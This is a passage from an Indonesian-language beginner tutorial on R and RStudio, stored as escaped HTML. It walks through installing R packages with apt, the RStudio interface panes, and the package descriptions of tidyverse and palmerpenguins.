window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-xml2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-httr&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-gargle&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-systemfonts&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-cran-rvest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Proses instalasi-nya akan memakan sekitar 1 GB penyimpanan, jadi harap bersabar menunggu…&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;4. Rstudio Interface Introduction&lt;a href=&quot;#4-rstudio-interface-introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah terpasang, kita bisa membuka RStudio yang kira-kira tampilan awalnya seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;995&quot; height=&quot;626&quot; src=&quot;/_astro/ss2.Cvl2dOJ6_10jc7Y.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di bagian pertama, ada 3 sub-window, yaitu&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Console:&lt;/strong&gt; Ini adalah tempat utama di mana kita dapat mengetik dan mengeksekusi perintah R secara langsung. Hasil dari perintah yang dieksekusi akan ditampilkan di sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Terminal:&lt;/strong&gt; Terminal memberikan akses langsung ke sistem operasi yang mendukung perintah shell. Ini memungkinkan kita untuk menjalankan perintah shell (seperti bash) dan perintah sistem lainnya dari dalam RStudio.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background Jobs:&lt;/strong&gt; Tab ini menunjukkan daftar pekerjaan yang sedang berjalan di &lt;em&gt;background&lt;/em&gt;. Ini termasuk proses R yang sedang berjalan atau pekerjaan lain yang Anda mulai dari sesi RStudio kita.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Di bagian kedua, ada 4 sub-window, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Environment:&lt;/strong&gt; Ini menampilkan daftar objek (seperti vektor, data frame, dll.) yang sudah kita buat dalam sesi R. Kita juga dapat melihat nilai-nilai objek dan propertinya di sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;History:&lt;/strong&gt; Tab ini berisi riwayat perintah yang telah kita jalankan di Console. Ini membantu kita untuk mengakses kembali perintah-perintah sebelumnya dan menjalankannya kembali jika diperlukan (tapi lupa - atau malas mengetikkan ulang).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connections:&lt;/strong&gt; Menampilkan daftar koneksi yang terbuka ke server atau database eksternal. Kita dapat mengelola koneksi, menjalankan query, dan lainnya dari sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tutorial:&lt;/strong&gt; Ini adalah area di mana RStudio dapat menampilkan tutorial atau dokumen bantuan yang terkait dengan alat, paket, atau konsep R tertentu. Ini bisa sangat bermanfaat untuk pembelajaran dan referensi.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Di bagian ketiga, ada 6 sub-window, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Files:&lt;/strong&gt; Menampilkan struktur direktori dan file dari sistem file komputer. Kita dapat menjelajahi file, membuka skrip R, atau mengimpor dataset langsung dari sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plots:&lt;/strong&gt; Ini adalah tempat di mana plot grafik yang dihasilkan dari perintah R akan ditampilkan secara langsung. Kita dapat melihat, menyimpan, dan menyesuaikan plot dari sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packages:&lt;/strong&gt; Menyediakan daftar paket-paket R yang telah diinstal. Kita dapat melihat paket yang sedang dimuat, menginstal paket baru, mengelola versi paket, dan lainnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Help:&lt;/strong&gt; Ini adalah tempat untuk mencari bantuan dan dokumentasi terkait fungsi-fungsi R dan paket-paketnya. Kita dapat mencari bantuan untuk fungsi tertentu, membaca dokumentasi paket, dan lainnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Viewer:&lt;/strong&gt; Menampilkan konten yang dihasilkan oleh aplikasi R yang menjalankan aplikasi web internal. Misalnya, kalau kita menjalankan aplikasi Shiny, tampilan aplikasi akan ditampilkan di sini.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Presentation:&lt;/strong&gt; Menyediakan alat untuk membuat presentasi di RMarkdown atau memvisualisasikan presentasi yang sudah ada. Kita dapat membuat, menyunting, dan menjalankan presentasi langsung dari RStudio.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Ketika kita ingin menampilkan dataframe, maka dataframe tersebut juga akan muncul di bagian kiri seperti berikut:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;View-ing penguins dataframe in RStudio&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;645&quot; src=&quot;/_astro/gif1.ChKur3zo_Z2x3lvF.webp&quot; /&gt;&lt;figcaption&gt;View-ing penguins dataframe in RStudio&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;5. Installing Packages (tidyverse &amp;amp; palmerpenguins)&lt;a href=&quot;#5-installing-packages-tidyverse--palmerpenguins&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; &lt;em&gt;Packages&lt;/em&gt; adalah sekumpulan kode yang ditulis, diuji, dan kemudian dirilis dengan tujuan untuk menyelesaikan permasalahan tertentu&lt;sup&gt;&lt;a href=&quot;#user-content-fn-10&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;. Sebetulnya, kita bisa mengambil &lt;em&gt;packages&lt;/em&gt; dari sumber manapun, tapi sebagai pemula, ada baiknya memulai untuk mengambil atau meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;package&lt;/em&gt; dari &lt;a href=&quot;https://cran.r-project.org/&quot; target=&quot;_blank&quot;&gt;CRAN&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk kebutuhan demonstrasi, kita memerlukan dua library utama, yaitu tidyverse dan palmerpenguins.&lt;br /&gt;
Kita bisa melihat informasi atau deskripsi dari sebuah paket atau library dengan mengetikkan perintah berikut di console&lt;code&gt;packageDescription(&quot;nama_library&quot;)&lt;/code&gt;. Misalnya, saya ingin melihat informasi tentang paket/library &lt;strong&gt;&lt;code&gt;tidyverse&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;packageDescription(&quot;tidyverse&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Package: tidyverse&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Title: Easily Install and Load the &apos;Tidyverse&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Version: 2.0.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Authors@R: c( person(&quot;Hadley&quot;, &quot;Wickham&quot;, , &quot;hadley@rstudio.com&quot;, role = c(&quot;aut&quot;, &quot;cre&quot;)),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;person(&quot;RStudio&quot;, role = c(&quot;cph&quot;, &quot;fnd&quot;)) )&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Description: The &apos;tidyverse&apos; is a set of packages that work in harmony because they share common data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;representations and &apos;API&apos; design. This package is designed to make it easy to install and load&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;multiple &apos;tidyverse&apos; packages in a single step. Learn more about the &apos;tidyverse&apos; at&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;https://www.tidyverse.org&amp;gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;License: MIT + file LICENSE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;URL: https://tidyverse.tidyverse.org, https://github.com/tidyverse/tidyverse&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;BugReports: https://github.com/tidyverse/tidyverse/issues&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Depends: R (&amp;gt;= 3.3)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Imports: broom (&amp;gt;= 1.0.3), conflicted (&amp;gt;= 1.2.0), cli (&amp;gt;= 3.6.0), dbplyr (&amp;gt;= 2.3.0), dplyr (&amp;gt;= 1.1.0),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;dtplyr (&amp;gt;= 1.2.2), forcats (&amp;gt;= 1.0.0), ggplot2 (&amp;gt;= 3.4.1), googledrive (&amp;gt;= 2.0.0),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;googlesheets4 (&amp;gt;= 1.0.1), haven (&amp;gt;= 2.5.1), hms (&amp;gt;= 1.1.2), httr (&amp;gt;= 1.4.4), jsonlite (&amp;gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1.8.4), lubridate (&amp;gt;= 1.9.2), magrittr (&amp;gt;= 2.0.3), modelr (&amp;gt;= 0.1.10), pillar (&amp;gt;= 1.8.1), purrr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&amp;gt;= 1.0.1), ragg (&amp;gt;= 1.2.5), readr (&amp;gt;= 2.1.4), readxl (&amp;gt;= 1.4.2), reprex (&amp;gt;= 2.0.2), rlang (&amp;gt;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1.0.6), rstudioapi (&amp;gt;= 0.14), rvest (&amp;gt;= 1.0.3), stringr (&amp;gt;= 1.5.0), tibble (&amp;gt;= 3.1.8), tidyr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&amp;gt;= 1.3.0), xml2 (&amp;gt;= 1.3.3)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Suggests: covr (&amp;gt;= 3.6.1), feather (&amp;gt;= 0.3.5), glue (&amp;gt;= 1.6.2), mockr (&amp;gt;= 0.2.0), knitr (&amp;gt;= 1.41),&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;rmarkdown (&amp;gt;= 2.20), testthat (&amp;gt;= 3.1.6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VignetteBuilder: knitr&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Config/Needs/website: tidyverse/tidytemplate&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Config/testthat/edition: 3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Encoding: UTF-8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RoxygenNote: 7.2.3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;NeedsCompilation: no&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Packaged: 2023-02-21 13:20:46 UTC; hadleywickham&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Author: Hadley Wickham [aut, cre], RStudio [cph, fnd]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Maintainer: Hadley Wickham &amp;lt;hadley@rstudio.com&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Repository: CRAN&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Date/Publication: 2023-02-22 09:20:06 UTC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Built: R 4.2.2; ; 2024-06-13 14:52:25 UTC; unix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-- File: /home/wildan/R/x86_64-pc-linux-gnu-library/4.2/tidyverse/Meta/package.rds&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Saya juga ingin tahu tentang package/library &lt;strong&gt;&lt;code&gt;palmerpenguins&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;packageDescription(&quot;palmerpenguins&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Outputnya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Package: palmerpenguins&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Title: Palmer Archipelago (Antarctica) Penguin Data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Version: 0.1.1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Date: 2022-08-12&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Authors@R: c( person(given = &quot;Allison&quot;, family = &quot;Horst&quot;, role = c(&quot;aut&quot;, &quot;cre&quot;), email =&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;ahorst@ucsb.edu&quot;, comment = c(ORCID = &quot;0000-0002-6047-5564&quot;)), person(given = &quot;Alison&quot;, family&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;= &quot;Hill&quot;, role = c(&quot;aut&quot;), email = &quot;apresstats@gmail.com&quot;, comment = c(ORCID =&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;0000-0002-8082-1890&quot;)), person(given = &quot;Kristen&quot;, family = &quot;Gorman&quot;, role = c(&quot;aut&quot;), email =&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;kbgorman@alaska.edu&quot;, comment = c(ORCID = &quot;0000-0002-0258-9264&quot;)) )&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Description: Size measurements, clutch observations, and blood isotope ratios for adult foraging Adélie,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Chinstrap, and Gentoo penguins observed on islands in the Palmer Archipelago near Palmer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Station, Antarctica. Data were collected and made available by Dr. Kristen Gorman and the&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Palmer Station Long Term Ecological Research (LTER) Program.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;License: CC0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Encoding: UTF-8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LazyData: true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;RoxygenNote: 7.2.1.9000&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Depends: R (&amp;gt;= 2.10)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Suggests: knitr, rmarkdown, tibble, ggplot2, dplyr, tidyr, recipes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;URL: https://allisonhorst.github.io/palmerpenguins/, https://github.com/allisonhorst/palmerpenguins&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;BugReports: https://github.com/allisonhorst/palmerpenguins/issues&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;NeedsCompilation: no&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Packaged: 2022-08-13 17:49:08 UTC; allison&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Author: Allison Horst [aut, cre] (&amp;lt;https://orcid.org/0000-0002-6047-5564&amp;gt;), Alison Hill [aut]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&amp;lt;https://orcid.org/0000-0002-8082-1890&amp;gt;), Kristen Gorman [aut]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&amp;lt;https://orcid.org/0000-0002-0258-9264&amp;gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Maintainer: Allison Horst &amp;lt;ahorst@ucsb.edu&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Repository: CRAN&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Date/Publication: 2022-08-15 07:40:07 UTC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Built: R 4.2.2; ; 2024-06-13 15:10:25 UTC; unix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-- File: /home/wildan/R/x86_64-pc-linux-gnu-library/4.2/palmerpenguins/Meta/package.rds&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Mengapa saya membutuhkan dua &lt;em&gt;library&lt;/em&gt; (&lt;code&gt;tidyverse&lt;/code&gt; &amp;amp; &lt;code&gt;palmerpenguins&lt;/code&gt;) untuk membahas tutorial basic R dan RStudio kali ini? Sederhananya, karena kedua library tersebut akan saya gunakan untuk praktik visualisasi data.&lt;/p&gt;&lt;p&gt;Library 